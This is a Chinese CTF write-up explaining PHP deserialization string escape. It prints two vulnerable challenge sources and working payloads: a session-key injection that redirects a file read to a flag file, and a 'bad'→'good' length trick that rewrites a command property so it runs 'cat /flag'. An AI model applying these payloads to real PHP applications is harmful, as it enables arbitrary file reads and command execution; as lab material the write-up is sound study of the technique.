Php反序列化逃逸

[[安洵杯 2019]easy_serialize_php - LLeaves - 博客园](https://www.cnblogs.com/LLeaves/p/12813992.html#2. php反序列化字符逃逸)

[BUUCTF在线评测](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php) [安洵杯 2019]easy_serialize_php

[BUUCTF之安洵杯 2019]easy_serialize_php ——– 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客

键值逃逸

  • 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
  • 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。

php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但是反序列化是有一定的识别范围的,比如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

//array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));
?>
//array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }

两者运行效果是一样的

按照这题来说,以下代码:

1
2
3
4
5
6
7
8
<?php

$_SESSION["flagflag"]='";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

echo serialize($_SESSION);

//a:2:{s:8:"flagflag";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而题中代码将flag替换成空,那么结果变为:

1
a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而序列化的时候,当内容被过滤为空时,会向后检查过滤掉字符的个数(这里是8)是否符合序列化条件,比如这里之后的;s:58:"",又以 ; 结尾,正好满足规则,所以学历化结果就是:

1
"s:117:"a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"

发现成功变成了 s:8:"";s:58:"";

[安洵杯 2019]easy_serialize_php

现在来看题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这里我们只能控制fuction里的值,但是不能控制img里的值,(因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的)然而我们这样让他过滤了之后,就可以间接控制到img对应的值。

E.g:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-type:text/html;charset=utf-8");

echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

//string(76) "a:1:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

//string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

此时第二段中第一个}之后并未被丢弃,但是过滤之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
header("Content-type:text/html;charset=utf-8");

# echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
# var_dump( serialize($_SESSION));

# echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
# var_dump(serialize($_SESSION));

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

echo "没有黑名单过滤的反序列化后";
$test = serialize($_SESSION);
var_dump(unserialize($test));

echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>";

echo "有黑名单过滤的反序列化后";
$test = filter(serialize($_SESSION));
var_dump(unserialize($test));
?>


//没有黑名单过滤的反序列化后array(2) { ["phpflag"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" }


//有黑名单过滤的反序列化后array(2) { ["";s:48:"]=> string(1) "1" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" }

发现}之后的就被舍弃了,留下了我们想要他读取的img值

所以最终 payload:

GET:?f=show_image

POST:_SESSION[‘flagflag’]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

上面image的值仅供参考

总结思想,其实就是利用过滤机制:

键1(过滤):值1 -> new键1

键2 -> new值1

值2(含构造的img)-> 键[‘img’] 然后后面跟上你要他访问的

原本的img因为成为多余字符了所以被丢弃

[NewStarCTF 2023 公开赛道]逃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

发现只能对key进行赋值,也是想到反序列化逃逸,但是我想不到()

然后我们看 s:9:”cat /flag”;} 和 s:6:”whoami”;}

传入

1
2
3
4
5
6
7
8
9
10
11
<?php

class GetFlag {
public $key = "\";s:3:\"cmd\";s:9:\"cat /flag\";}";
public $cmd = "whoami";
}

$a = new GetFlag();
echo serialize($a);

?>

变为:

1
O:7:"GetFlag":2:{s:3:"key";s:29:"";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}

这样的话被挤掉的 “;s:3:”cmd”;s:6:”whoami”;} 就有26个,然后whoami跟cat /flag比起来少了3个,那么我们就需要替换掉29个,即需要29个bad

所以payload:

1
"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}